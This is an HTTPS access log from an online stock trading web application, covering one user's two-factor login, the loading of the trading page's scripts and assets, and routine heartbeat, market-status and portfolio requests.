[09/Jan/2026:08:43:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:08:43:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767919708128 HTTP/1.1" 3188
[09/Jan/2026:08:43:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:08:43:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:08:43:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:08:43:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:08:43:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Get2FAInfoService HTTP/1.1" 109
[09/Jan/2026:08:43:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919707303 HTTP/1.1" -
[09/Jan/2026:08:44:04 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919713312 HTTP/1.1" -
[09/Jan/2026:08:44:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919719307 HTTP/1.1" -
[09/Jan/2026:08:44:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:44:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:44:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:44:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:44:16 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919725305 HTTP/1.1" -
[09/Jan/2026:08:44:22 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919731307 HTTP/1.1" -
[09/Jan/2026:08:44:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:08:44:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat2FAService HTTP/1.1" 1
[09/Jan/2026:08:44:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Verify2FAService HTTP/1.1" 427
[09/Jan/2026:08:44:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:08:44:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:08:44:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:08:44:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767919739607 HTTP/1.1" 3188
[09/Jan/2026:08:44:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 124
[09/Jan/2026:08:44:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:08:44:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:08:44:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:08:44:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:08:44:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:44:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 31
[09/Jan/2026:08:44:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:44:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:08:44:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:08:44:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:44:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:08:44:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:44:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:44:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:44:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:08:44:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:08:44:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 293
[09/Jan/2026:08:44:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:08:44:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:08:44:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:08:44:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:08:44:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:44:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919737305 HTTP/1.1" -
[09/Jan/2026:08:44:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:44:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:44:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:44:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:44:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:44:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 223
[09/Jan/2026:08:44:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
[09/Jan/2026:08:44:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:44:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:44:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:44:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:44:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:08:44:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:08:44:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:44:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1528
